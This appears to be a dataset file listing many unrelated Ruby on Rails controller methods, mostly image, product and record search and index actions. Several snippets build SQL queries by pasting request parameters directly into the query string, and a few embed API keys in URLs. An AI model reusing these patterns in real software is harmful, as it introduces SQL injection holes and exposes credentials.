"def index\n\n @title = \"设计作品大比拼_展示各种风格装修设计作品-立邦 iColor 装修设计鉴赏、设计师作品欣赏、访谈\"\n @description = \"立邦iColor因爱之名刷新生活 设计作品大比拼活动,展示各种风格装修设计作品,你可以按城市、户型、风格、预算,选择适合您的装修设计图。\"\n @key_words = '装修设计作品,装修风格,装修户型,装修设计图'\n @desgins = Design.baicheng.order(\"designs.id desc\")\n province_id,city_id,area_id = params[:province_id].or(nil),params[:city_id].or(nil),params[:area_id].or(nil)\n area_ids =[]\n if area_id.present?\n area_ids = [area_id]\n elsif province_id.present?\n area_ids = Area.robot(province_id,[city_id].compact).map(&:id)\n end\n\n unless area_ids.empty?\n Rails.logger.info area_ids\n @desgins = @desgins.where(area_id: area_ids)\n end\n\n if params[:tag].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:tag])\n end\n if params[:cost].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:cost])\n end\n if params[:style].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:style])\n end\n\n if params[:keywords].present?\n if params[:soso] == \"so_user\"\n @desgins = Design.baicheng.order(\"designs.id desc\").joins(:user).where(\"users.username=?\", params[:keywords]) if params[:keywords].present?\n else\n @desgins = Design.baicheng.order(\"designs.id desc\").where(\"title=?\", params[:keywords]) if params[:keywords].present?\n end\n end\n @designs = @desgins.joins(:cover_img).where('design_images.id is not null').uniq.page(params[:page]).per(24)\n end",
"def index\n if current_user.explicit?\n # Show all items including the ones marked explicit\n @item_pictures = ItemPicture.all\n @heading = \"Picture Records [E*]\"\n\n # search Id\n @search = params[\"search\"]\n\n if @search.present?\n\n @search_term = @search[\"name\"]\n\n @item_pictures = ItemPicture.where(\"name ILIKE ?\", \"%#{@search_term}%\")\n end\n\n @item_pictures = @item_pictures.where(explicit:true).paginate(page: params[:page], :per_page => 200)\n .order(sort_column + \" \" + sort_direction)\n\n render action: :index\n\n else\n # Show only items not marked as explicit\n @item_pictures = ItemPicture.all\n @heading = \"Picture Records [S*]\"\n\n # search Id\n @search = params[\"search\"]\n\n if @search.present?\n\n @search_term = @search[\"name\"]\n\n @item_pictures = ItemPicture.where(\"name ILIKE ?\", \"%#{@search_term}%\")\n\n end\n @item_pictures = @item_pictures.where(explicit: false).paginate(page: params[:page], :per_page => 200)\n .order(sort_column + \" \" + sort_direction)\n\n render action: :index\n\n end\n\n end",
"def index\n @pictures=PictureSet.get params[:tag]\n render :file => (App.webmaster.join 'page'), :layout => false\n end",
"def index\n #pageUrl = 'http://www.lazada.vn/dong-ho/'\n pageUrl = 'http://ione.vnexpress.net/photo'\n #pageUrl = 'http://www.xemanh.net/category/anh-girl-xinh/anh-sexy'\n @arr = true\n\t\turi = URI(pageUrl)\n\t\tputs '============================================uri.host: ' + uri.host\n\t\tcase uri.host\n\t\twhen \"www.lazada.vn\"\n\t\t\t#@parsers = Array.new\n\t\t\t@parsers = lazada_dongho(pageUrl)\n\t\t\t#puts \"@parsers\"\n\t\twhen \"ione.vnexpress.net\"\n\t\t puts \"===========================================ione\"\n\t\t @arr = false\n\t\t @parser = ione_photo(pageUrl)\n\t\twhen \"www.xemanh.net\"\n\t\t @parser = xemanh_sexy(pageUrl)\n\t\telse\n\t\t\t@content = unknow(pageUrl)\n\t\tend\n\t\t@url = pageUrl\n end",
"def index\n #@animals = Animal.all\n if params[:search_inputs].present?\n @search_inputs = OpenStruct.new(params[:search_inputs])\n else\n @search_inputs = OpenStruct.new()\n end\n @animals = AnimalsSearch.new(@search_inputs).search\n @animals = @animals.page(params[:page])\n\n set_meta_tags title: 'Unsere Tiere', reverse: true,\n description: 'Alle Tiere von STINAH im Überblick!'\n end",
"def search_designer\n end",
"def index\n @search = Cofile.search(params[:q])\n @cofiles = @search.result\n @cofiles = @cofiles.page(params[:page]||1)\n #previous\n #@staff_filtered = Staff.with_permissions_to(:edit).find(:all, :order => sort_column + ' ' + sort_direction ,:conditions => ['icno LIKE ? or name ILIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\"])\n #@cofiles_filtered = Cofile.find(:all, :order => sort_column + ' ' + sort_direction ,:conditions => ['cofileno LIKE ? or name ILIKE ? ', \"%#{params[:search]}%\", \"%#{params[:search]}%\"])\n\n end",
"def search_images(searchterm,params={})\n @opensearch.search_images(searchterm,params) \n end",
"def manage\n @images = Image.all\n render :text=> @images.map{|image|image.data.url}.join(\"ue_separate_ue\")\n end",
"def index\n en_to_zh = {'pcr' => '轿车轮胎产品', 'suv' => 'SUV&4X4轮胎产品', 'winter' => '雪地胎产品', 'lighttruck' => '轻卡产品'}\n @category = params[:cat] # || params[:cat] = 'pcr'\n\n if @category\n @title = en_to_zh[@category]\n @tires = Tire.where(:category => @category.upcase).order(:position)\n else\n @title = '产品与服务'\n @tires = Tire.order(:position)\n end\n\n present(@page)\n end",
"def index\n @pages = Page.all\n @post = Post.new\n @content = Content.all\n @subscribers = Subscription.all.map { |s| s.email }.join(\";\")\n @images = Image.all\n end",
"def index\n @pictogrammes = Pictogramme.where(\"name like ?\", \"%#{params[:q]}%\")\n respond_to do |format|\n format.html\n format.json { render :json => @pictogrammes.map(&:attributes) }\n end\n end",
"def index \n @transparentnavbar = true\n @index_body = true\n \n if params[:search]\n # @search = Sunspot.search Newsroom do\n # fulltext params[:search]\n #ends\n @press_releases = PressRelease.where(exclusive: false).where(\"embargo <= ?\", Date.today).search(params[:search])\n else \n @press_releases = PressRelease.includes(:uploads).all.order(\"press_releases.embargo DESC\").where(exclusive: false).where(\"embargo <= ?\", Date.today).where.not(uploads: { file_file_name: nil }).where.not(title: nil).paginate(:page => params[:page], :per_page => 4)\n end\n \n end",
"def home #display the home page of the candidate, has options to search\n end",
"def index\n \n @clients = Client.search(params[:query],params[:page],current_user.page_limit)\n\t\t\n @office_visit = ContactType.find(:first, :conditions => ['name like ?','Office Visit%'])\n \n respond_to do |format|\n format.html \n format.js { render :layout=>false }\n format.xml { render :xml => @clients }\n end\n end",
"def index\n @coleccion = Imagen.all\n end",
"def index_image # :nologin: :norobots:\n query = find_or_create_query(:Image, :by => params[:by])\n show_selected_images(query, :id => params[:id].to_s, :always_index => true)\n end",
"def search\n # if the user has selected to clear the search, or there is no search params, start from the top\n Rails.logger.info(\"Pic Search: #{params.inspect}\")\n if params[:clear] || params[:q] == \"\"\n redirect_to pictures_path\n else \n @picturesandmeta = Pictureandmeta.search(params[:q])\n #@page = 1\n render :index\n end\n end",
"def images\n @assets = filtered_assets.where(type: \"Image\").order(\"created_at DESC\").paginate(params)\n @assets = @assets.search(params[:q], fuzzy: true) if params[:q].present?\n respond_to do |format|\n format.html do\n render template: \"/dash/chooser/images\"\n end\n format.js do\n render template: \"/dash/chooser/images_search\"\n end\n end\n end",
"def show\n @ensembl = HTTParty.get('http://rest.ensembl.org' + '/lookup/id/' + @transplice.gene,\n :headers =>{'Content-Type' => 'application/json'} )\n if @ensembl[\"display_name\"].nil? \n @name = \"1\"\n else\n @name = @ensembl[\"display_name\"]\n\n @wikis = HTTParty.get('https://webservice.wikipathways.org/findPathwaysByText?query=' + @name + '&species=homo+sapiens&format=json',\n :headers =>{'Content-Type' => 'application/json'} )\n\n @pubs = HTTParty.get('https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pubmed&retmode=json&term='+ @name,\n :headers =>{'Content-Type' => 'application/json'} )\n \n @omim = HTTParty.get('https://api.omim.org/api/entry/search?search='+ @name+ '&start=0&limit=1&include=text:description&apiKey=6-p06gbQTZiAWNOpPn-CSw&format=xml',:headers =>{'Content-Type' => 'application/xml'} )\n \n \n\n end\nend",
"def index\n \t@document = PrismicService.get_document(api.bookmark(\"homepage\"), api, ref)\n @user_friendly_arguments = api.form(\"arguments\")\n .query(%([[:d = at(document.tags, [\"userfriendly\"])][:d = at(document.tags, [\"featured\"])]]))\n .orderings(\"[my.argument.priority desc]\")\n .submit(ref)\n @design_arguments = api.form(\"arguments\")\n .query(%([[:d = at(document.tags, [\"design\"])][:d = at(document.tags, [\"featured\"])]]))\n .orderings(\"[my.argument.priority desc]\")\n .submit(ref)\n @questions = api.form(\"questions\")\n .query(%([[:d = at(document.tags, [\"featured\"])]]))\n .orderings(\"[my.faq.priority desc]\")\n .submit(ref)\n set_minimum_price\n end",
"def index\n @services = Service.where(user: current_user.building.users)\n if params[:search].present?\n @services = @services.where(\"description = ? OR more_information = ?\", params[:search], params[:seach])\n end\n respond_to do |format|\n format.html \n format.json do \n render json: {\n services: @services.map{|s|s.attributes.merge(image: url_for(s.user.profile.pic), ownerId: s.user.id)}\n }\n end\n end\n end",
"def send_to_searchisko(searchisko, metadata, page, site, converted_html)\n metadata[:searchisko_id] = metadata[:id]\n metadata[:searchisko_type] = 'jbossdeveloper_demo'\n\n\n output_url = page.output_path.split('/index.html')[0]\n searchisko_hash = {\n :sys_title => metadata[:title], \n :level => metadata[:level],\n :tags => metadata[:technologies],\n :sys_description => metadata[:summary],\n :sys_content => converted_html,\n :sys_url_view => \"#{site.base_url}#{site.ctx_root.nil? ? '/' : '/' + site.ctx_root + '/'}#{output_url}\",\n :author => metadata[:author],\n :contributors => metadata[:contributors],\n :sys_created => metadata[:published],\n :target_product => metadata[:target_product],\n :sys_project => metadata[:product],\n :github_repo_url => metadata[:github_repo_url],\n :experimental => metadata[:experimental],\n :thumbnail => metadata[:thumbnail],\n :download => metadata[:download]\n } \n\n searchisko.push_content(metadata[:searchisko_type], \n metadata[:searchisko_id], \n searchisko_hash.to_json)\n end",
"def advanced_search\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Image)\n show_selected_images(query)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(controller: \"observer\", action: \"advanced_search\")\n end",
"def index\n @random_image_number = 1\n unless cookies[:add_image_number].nil?\n @random_image_number = cookies[:add_image_number].to_i == 3 ? 1 : cookies[:add_image_number].to_i + 1\n end\n cookies[:add_image_number] = @random_image_number\n # Set meta tags for main_site layout\n set_meta_tags :title => 'Contact Us, Software Development Company India - Zapbuild',\n :description => 'Offshore website development company, Zapbuild is headquartered in Mohali. Zapbuild Technologies is one of the leading web development companies in Chandigarh, India.',\n :keywords => 'web development company India, software development company India, software development company Chandigarh, offshore web development company Mohali, custom web application development India, android app development India, iphone app development India, open source website development India' \n @contact = Contact.new\n end",
"def index \n @photo = if params[:search]\n Photo.where(\"LOWER(name) LIKE LOWER(?)\", \"%#{params[:search]}%\")\n else \n Photo.all\n end \n\n\n if params[:photo_category_id]\n @photo = @photo.where(photo_category_id: params[:photo_category_id])\n end\n\n respond_to do |format|\n format.html\n format.js\n end \n end",
"def index\n @city=\"\"\n @tag=\"\"\n @cssclass=\"\"\n @cities = Art.joins(:galleries).where(\"galleries.show = true and arts.city <> '' \").pluck(\"city\").uniq!\n\n if params[:tag].to_s != \"\"\n @galleries = Gallery.tagged_with(params[:tag].to_s).where(show: true).page(params[:page]).per_page(16).order('id DESC')\n @tag = params[:tag].to_s\n return\n end\n\n if params[:city].to_s != \"\"\n search = \"galleries.show = true and arts.city = '\"+params[:city].to_s+\"'\"\n @galleries = Gallery.joins(:arts).where(search.to_s).distinct.page(params[:page]).per_page(16)\n @city=params[:city].to_s\n return\n end\n\n @galleries = Gallery.where(show: true).page(params[:page]).per_page(16).order('id DESC')\n end",
"def index\n @name = params[:name]\n @bio = params[:bio]\n filtro = \"1=1 \"\n\n if @name\n filtro += \"and display_name like '%\" + @name.strip + \"%' \"\n end\n\n if @bio\n filtro += \"and bio like '%\" + @bio.strip + \"%'\"\n end\n\n @photographers = Photographer.where(filtro).order(\"display_name\").paginate(:page => params[:page], per_page: 2)\n end",
"def index\n @picture = Picture.front_page\n @categories = Category.find(:all)\n end",
"def show\n @manufacturer_partner = ManufacturerPartner.find(params[:id])\n @logos = SiteElement.where(\"name LIKE '%logo_inconcert_%'\").order(:name)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @manufacturer_partner }\n format.json { render json: @manufacturer_partner }\n end\n end",
"def index\n\n @articles = Article.all\n @articles = @articles.where('name LIKE ?', '%'+params[:nom]+'%') if !params[:nom].blank?\n @articles = @articles.where('reference LIKE ?', '%'+params[:ref]+'%') if !params[:ref].blank?\n @articles = @articles.page(params[:page])\n\n end",
"def extract_image_agent_display\n agent_display_array = {}\n self.find_by_terms(:vra_image,:agentSet,:agentSet_display).each do |agent_display| \n ::Solrizer::Extractor.insert_solr_field_value(agent_display_array, \"agent_display_tesim\", agent_display.text) \n end\n return agent_display_array\n end",
"def index\n @top_photos = Photo.where(:imageable_type => \"TopPhoto\")\n @sug_photos = Photo.where(:imageable_type => \"SugPhoto\")\n @bottom_photos = Photo.where(:imageable_type => \"BottomPhoto\")\n end",
"def index\n @lwidth = '20%'\n @rwidth = '0'\n @height = '800' \n # data = Contact.filter.all #(:public => true)\n if request.params['value']\n @value = request.params['value']\n else\n @value = nil\n end\n data = Contact.filter(:public => true, :deleted_at => nil).filter(Sequel.ilike(:full_name, \"%#{@value}%\"))\n @contacts = paginate(data, :limit => 5)\n @items = Action.recent_items\n end",
"def search_part\n if request.xhr?\n # ....... If OLD PART NO PRESENT ............\n params[:part_number]= Iconv.conv(\"UTF-8//IGNORE\", \"UTF-8\",params[:part_number])\n if params[:part_status] == \"old_part_no\"\n @part = Kitting::Part.find_by_part_number(params[:part_number].strip)\n if @part\n if Rails.env == \"production\" || Rails.env == \"qa\"\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s).gsub(\"http://\",\"https://\")\n else\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s)\n end\n end\n # ............. NEW PART NUMBER ...........\n else\n @part = Kitting::Part.find_by_part_number(params[:part_number].strip)\n # If Part is Present In DATABASE ...........\n if @part\n get_part_name_rbo = get_part_numbers current_user, params[:part_number].strip.upcase\n if get_part_name_rbo[\"errMsg\"] == \"\" and get_part_name_rbo[\"errCode\"]== \"\" and get_part_name_rbo[\"searchPartList\"].reject(&:blank?).empty?\n if Rails.env == \"production\" || Rails.env == \"qa\"\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s).gsub(\"http://\",\"https://\")\n else\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s)\n end\n else\n @error = get_part_name_rbo[\"errMsg\"]\n end\n else\n # If Part Not Present in Database ...........\n get_part_name_rbo = get_part_numbers current_user, params[:part_number].strip.upcase\n if get_part_name_rbo[\"errMsg\"] == \"\" and get_part_name_rbo[\"errCode\"]== \"\" and get_part_name_rbo[\"searchPartList\"].reject(&:blank?).empty?\n @get_part_name = get_part_name_rbo['partName'] || \"\"\n @part = Part.new(:part_number => params[:part_number], :name => @get_part_name)\n if @part.save\n @info = \"Part Validated & Successfully Created , Edit the Part In Part Images Menu.\"\n if Rails.env == \"production\" || Rails.env == \"qa\"\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s).gsub(\"http://\",\"https://\")\n else\n @img_src = image_parts_url(:image =>@part.image_name_url(:thumb).to_s)\n end\n end\n else\n if get_part_name_rbo[\"searchPartList\"].reject(&:blank?).count > 0\n @error = \"Contract Validation Failed. Enter a Valid Part.\"\n else\n @error = get_part_name_rbo[\"errMsg\"]\n end\n end\n end\n end\n end\n end",
"def index\n @content_title = @title = 'Search for Network Devices'\n @asset_params = params.dup\n respond_to do |format|\n format.html do \n @assets = NetDevice.paginated_collection(Asset.per_page, params, Asset.search_rules, Asset.find_options(params[:tag]))\n render :template => 'assets/index.rhtml'\n end\n format.text do \n @assets = NetDevice.find_queried(:all, params, Asset.search_rules, Asset.find_options(params[:tag]))\n render :template => 'assets/index.text.erb'\n end\n end\n end",
"def index\n show_icons\n @search = params[:search] || \"\"\n\n if @search.present?\n @titles = Title.all.where(\"lower(name) like lower(?)\",\"%#{@search}%\").paginate(page: params[:page], per_page: 30).order('id desc')\n else\n @titles = Title.all.paginate(page: params[:page], per_page: 30).order('id asc')\n end\n\n end",
"def show\n\t\t@order_term = build_order\n\t\t@searches = Search.all.order(@order_term)\n\t\t@search.get_photos\n\tend",
"def index\n @animalcontrols = Animalcontrol.all.paginate(:per_page =>15, :page => params[:page]).where(\"address ILIKE ?\",\"%#{params[:address_search]}%\").where(\"name ILIKE ?\",\"%#{params[:name_search]}%\").where(\"callback ILIKE ?\",\"%#{params[:phone_search]}%\").where(\"unitassigned ILIKE ?\",\"%#{params[:unit_search]}%\")\n end",
"def pages; end",
"def index\n @imagems = Imagem.where(:imovel_id => current_user.imovels {|i| i.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagems }\n end\n end",
"def index\n @locweb_thepics = LocwebThepic.all\n end",
"def index\n unless params['body']['search'].blank?\n @contents = Content.where([\"name ILIKE ?\",\"%#{params['body']['search']}%\"])\n else\n @contents = Content.order('created_at DESC')\n end\n end",
"def modifier_lien\n if params[:lien] != \"\" \n @lien = Lien.find(params[:id])\n @donnee_url = OpenGraph.fetch(params[:lien])\n \n @url_lien = params[:lien]\n element = @url_lien.split(\".\")\n tab = @url_lien.split(\"//\")\n if tab[0] == \"http:\"\n @url = @url_lien\n else\n @url = \"http://\"+@url_lien\n end\n name = \"/images_liens/thumb#{Time.now.to_i}.jpg\"\n if @donnee_url\n\t titre = @donnee_url.title\n\t desc = @donnee_url.description\n\t image = @donnee_url.image\n image_or = Magick::Image.read(image)[0]\n image = image_or.crop_resized!(297, 195, Magick::NorthGravity)\n image.write(\"#{RAILS_ROOT}/public\"+name) do self.quality = 100 end\n else\n\t begin\n uri =URI(@url)\n #htmlcontent = #Net::HTTP.get(uri)\n #soup = BeautifulSoup.new(htmlcontent)\n hdrs = {\"User-Agent\"=>\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\", \"Accept-Charset\"=>\"utf-8\", \"Accept\"=>\"text/html\"}\n my_html = \"\"\n \n open(@url, hdrs).each{|s| my_html << s}\n doc = Hpricot(my_html)\n desc = HTMLEntities.new.decode(doc.search(\"meta[@name*=description]\").map {|e| e.get_attribute(\"content\") }.to_s)#soup.find('meta', {'name' => 'description'})['content']\n titre = HTMLEntities.new.decode(doc.at(\"html/head/title\").inner_html)#soup.html.head.title.string\n\t rescue\n titre = \"\"\n flash[:error] = \"Ce lien est certainement plein de joie mais malheureusement, le format n'est pas conforme à la Boite à Joie, peut être existe t-il un autre lien qui vous rende joyeux ?\"\n redirect_to (:controller => 'liens', :action => \"new\", :p => \"home\")\n return 0\n end\n \n #desc = \"\"\n\t name = \"http://api.url2png.com/v3/P4F280C28BB8E7/#{Digest::MD5.hexdigest('S94BC47B3A5190+'+@url)}/297x195/#{@url}\"#\"https://www.apercite.fr/api/apercite/800x600/oui/oui/#{@url}\"\n end\n \n \n respond_to do |format|\n if Lien.update(params[:id], :titre_lien =>titre, :description_lien => desc, :url_lien => params[:lien], :image_lien => name)\n format.html { redirect_to(:controller => 'auteurs', :action => 'new', :id => params[:idauteur], :p => \"user\", :idlien => params[:id], :auteur => params[:auteur][:pseudo_auteur]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\", :p => \"home\" }\n format.xml { render :xml => @lien.errors, :status => :unprocessable_entity }\n end\n end\n else\n flash[:notice] = \"Désolé monsieur ou madame !!\"\n redirect_to :back\n end\n end",
"def details\n #permalink = params[:id]+\".html\"\n @photoset = Photoset.find_by_permalink(params[:id])\n @photos = Photo.find(:all,:conditions => [\"photoset_id LIKE ?\",@photoset.id])\n end",
"def index\n @page_elements = @page.page_elements\n if (@page)\n @mainelements = @page.page_elements.where(visible: true,sidebar: false)\n @sidebarelements = @page.page_elements.where(visible:true,sidebar: true)\n end\n if(@mainelemnents) && (@mainelements.count > 1)\n @mainelements = @mainelements.sort_by{ |x| x[:displayIndex]}\n end\n @poster = @council.posts\n @rest = @page.page_elements.where(visible: false)\n end",
"def index\n\n if params[:search]\n @photos = Photo.plusminus_tally.where('title ILIKE ? OR description ILIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\").paginate(:page => params[:page], :per_page => 10)\n elsif params[:tag]\n @photos = Photo.plusminus_tally.tagged_with(params[:tag]).paginate(:page => params[:page], :per_page => 10)\n else\n @photos = Photo.plusminus_tally.paginate(:page => params[:page], :per_page => 10)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js \n format.json { render json: @photos }\n end\n end",
"def index\n @especie = Especie.find(params[:especie_id])\n @especie_imagens = EspecieImagem.find(@especie.especie_imagens)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @especie_imagens }\n end\n end",
"def index\n if flash[:pg] == nil || flash[:pg] == 0 || flash[:pg] == flash[:old_pg] || flash[:ajaxed]\n flash[:pg] = 1\n end\n if flash[:category] == nil\n flash[:category] = 'new'\n end\n flash[:old_pg] = flash[:pg]\n flash[:category] = flash[:category]\n @pics = Pic.get_pics(flash[:pg], flash[:category])\n if Pic.more_pics_left?(flash[:pg], flash[:category])\n @show_more = true\n else\n @show_more = false\n end\n @tags = Tag.ordered_by_taggings.limit(20)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pics }\n end\n end",
"def index\n if params[:photo]\n @search = Photo.search :title_like => params[:photo][:title]\n params.clear\n else\n @search = Photo.search(params[:search])\n end\n\n @photos = @search.paginate(:per_page => 20, :page => params[:page])\n\n redirect_to admin_photo_path(@photos.first, params) and return if (@photos.size.eql?(1))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photos }\n end\n end",
"def search\n images = Google.instance.image_search(params[:text])\n if images.empty?\n render status: :not_found, body: t('controllers.giffy.search.no_results')\n return\n end\n\n num = [1.0/rand, images.size - 1].min\n image = images[num.to_i]\n\n Slack.instance.echo command\n Slack.instance.webhook_message command.channel_id, image, icon_url: view_context.image_url('giffy.png')\n\n head :ok\n end",
"def index\n @photos = TaxiPhoto.all\n puts \"------------------------------------------------\"\n puts @photos\n @taxi_sevices = TaxiSevice.all\n @information = {}\n end",
"def scroll(id); det.image(:index, \"#{id}\"); end",
"def index_image\n query = find_or_create_query(:Image, by: params[:by])\n show_selected_images(query, id: params[:id].to_s, always_index: true)\n end",
"def index\n @case_modules = CaseModule.all.with_attached_image\n\n @case_modules = CaseModule.search(params[:term])\n end",
"def show\n # gestiamo l'elenco dei relateds\n #params[:related] = \"people\" if params[:related].blank?\n case params[:related]\n when \"favorites\"\n # TODO\n #@relateds = current_user.favorites.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds = @company.favorites.all.page(params[:page])\n @relateds_path = \"favorites\"\n when \"people\"\n @relateds = @company.company_person_maps.search_people(params[:search]).order('created_at DESC').page(params[:page])\n @relateds_path = \"company_person_maps\"\n when \"companies\"\n @relateds = Company.all.page(params[:page])\n #@relateds = Company.search(params[:search]).order('created_at DESC').page(params[:page]).per_page(6)\n @relateds_path = \"companies\"\n when \"contacts\"\n @relateds = @company.contacts.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"contacts\"\n when \"addresses\"\n @relateds = @company.addresses.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"addresses\"\n when \"histories\"\n @relateds = @company.histories.search(params[:search]).order('updated_at DESC').page(params[:page])\n @relateds_path = \"histories\"\n else\n raise \"#TODO\"\n end\n end",
"def index \n #忽略\n @q = Addtype.search(params[:q]) \n if params[:q].nil? \n @addtypes=Addtype.order(:id).page(params[:page]).per(10)\n else \n if params[:q][\"name_cont\"].lstrip.rstrip==\"\"\n @addtypes=Addtype.order(:id).page(params[:page]).per(10)\n else\n search = params[:q][\"search_cont\"]\n @addtypes = Addtype.where( \" #{search} like ?\", \"%#{params[:q][\"name_cont\"]}%\" ).page(params[:page]).per(10)\n end\n end \n end",
"def index\n @content_title = @title = 'Search for Wireless Devices'\n @asset_params = params.dup\n respond_to do |format|\n format.html do \n @assets = WirelessDevice.paginated_collection(Asset.per_page, params, Asset.search_rules, Asset.find_options(params[:tag]))\n render :template => 'assets/index.rhtml'\n end\n format.text do \n @assets = WirelessDevice.find_queried(:all, params, Asset.search_rules, Asset.find_options(params[:tag]))\n render :template => 'assets/index.text.erb'\n end\n end\n end",
"def get_data_for_interact_view\r\n\r\n\t\t\t@project = Project.find params[:id]\r\n\r\n\t\t\t# Images\r\n\r\n\t\t\t\t# Result for request\r\n\t\t\t\timages = []\r\n\r\n\t\t\t\t# Get project's image\r\n\t\t\t\tproject_images = ProjectImage.where(project_id: params[:id])\r\n\r\n\t\t\t\t# Get all info of each image\r\n\t\t\t\tproject_images.each do |project_image|\r\n\t\t\t\t\timage = {}\r\n\r\n\t\t\t\t\t# Get url for display\r\n\t\t\t\t\timage[:url] = project_image.image.url\r\n\r\n\t\t\t\t\tif project_image.image_descriptions.present?\r\n\t\t\t\t\t\timage[:descriptions] = []\r\n\r\n\t\t\t\t\t\tproject_image.image_descriptions.each do |image_description|\r\n\t\t\t\t\t\t\tdescription = { tag_name: image_description.area_type }\r\n\r\n\t\t\t\t\t\t\t# Area info\r\n\t\t\t\t\t\t\tcase image_description.area_type\r\n\t\t\t\t\t\t\twhen 'polyline'\r\n\t\t\t\t\t\t\t\tdescription[:points] = image_description.area_info['points']\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\tnext\r\n\t\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\t\t# Description info\r\n\t\t\t\t\t\t\tdescription[:description] = { type: image_description.description_type }\r\n\t\t\t\t\t\t\tcase image_description.description_type\r\n\t\t\t\t\t\t\twhen 'block'\r\n\t\t\t\t\t\t\t\tdescription[:description][:id] = image_description.block_description.block_id\r\n\t\t\t\t\t\t\t\tdescription[:description][:description] = image_description.block_description.block.display_name\r\n\t\t\t\t\t\t\twhen 'text_image'\r\n\t\t\t\t\t\t\t\tdescription[:description][:data] = {}\r\n\t\t\t\t\t\t\t\tif image_description.text_description.present?\r\n\t\t\t\t\t\t\t\t\tdescription[:description][:description] = image_description.text_description.description\r\n\t\t\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\t\t\t# if image_description.image_descriptions.present?\r\n\t\t\t\t\t\t\t\t# \timage_data = []\r\n\t\t\t\t\t\t\t\t# \timage_description.image_descriptions.each do |data|\r\n\t\t\t\t\t\t\t\t# \t\timage_data << { id: data.id, url: data.image.url, description: data.description, is_avatar: data.is_avatar }\r\n\t\t\t\t\t\t\t\t# \tend\r\n\t\t\t\t\t\t\t\t# \tdescription[:description][:data][:images] = image_data.to_json\r\n\t\t\t\t\t\t\t\t# end\r\n\t\t\t\t\t\t\tend\r\n\r\n\t\t\t\t\t\t\timage[:descriptions] << description\r\n\t\t\t\t\t\tend\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\timages << image\r\n\t\t\t\tend\r\n\r\n\t\t\t# / Images\r\n\r\n\t\t\t# Navigator\r\n\t\t\t\r\n\t\t\t\tnavigator = {\r\n\t\t\t\t\tdisplay_floor: false,\r\n\t\t\t\t\tdisplay_position: false\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t# / Navigator\r\n\r\n\t\t\t# Info\r\n\r\n\t\t\t\tinfo = render_to_string(partial: 'projects/info_for_interact_view')\r\n\r\n\t\t\t# / Info\r\n\r\n\t\t\trender json: { \r\n\t\t\t\tstatus: 0, \r\n\t\t\t\tresult: {\r\n\t\t\t\t\timages: images,\r\n\t\t\t\t\tinfo: info,\r\n\t\t\t\t\tnavigator: navigator\r\n\t\t\t\t} \r\n\t\t\t}\r\n\t\tend",
"def homesearch\n #Fonctionne avec elasticsearch classique\n #@campings = Camping.custom_search((params[:q].present? ? params[:q] : '*'))\n #@campings = Camping.search((params[:q].present? ? params[:q] : '*'))\n # @campings = Camping.all\n # @campings = Camping.search(params[:q]) unless params[:q].blank?\n # @campings = @campings.piscine unless params[:nomdep].blank?\n # @camping = Departement.all\n # if params[:q].blank? || params[:nomdep].blank?\n # @campings = Camping.__elasticsearch__.search params[:nomdep]\n # else\n # end\n end",
"def index\n @q = YhPhotoTr.ransack(params[:q])\n @yh_photo_trs = @q.result\n session[:current_yh_picture_category] = params[:q]['category_cont'] if params[:q]\n @yh_photo_trs = @yh_photo_trs.order(:date).page(params[:page]).reverse_order.per(18)\n\n # @yh_photo_trs = YhPhotoTr.all\n end",
"def index\n @title = 'Review Figs and Embedded Content '\n @medias = Media.all.map{|m| {:item => m, :date => m.created_at, :type => 'media', :paper => m.paper} }\n @figs = Visit.find_all_by_visit_type('image').map{|v| v.about}.select{|f| !f.image.nil?}.map{|f| {:item => f, :date => f.updated_at, :type => 'fig', :paper => f.paper} }\n @list = Kaminari.paginate_array((@medias + @figs).sort{|x,y| y[:date]<=> x[:date]}).page(params[:page]).per(20)\n end",
"def index\n if params[:search]\n filtering_params = params[:search].slice(:search_string, :category, :product_format, :language, :price_above, :price_below, :sale_or_rent, :pages_above, :pages_below)\n @products = Product.filter(filtering_params).order(\"updated_at DESC\").paginate(page: params[:page])\n else \n @products = Product.order(\"updated_at DESC\").paginate(page: params[:page])\n end\n @images = Dir.glob(\"app/assets/images/slides/*.jpg\")\n respond_to do |format|\n format.html\n format.js\n end\n end",
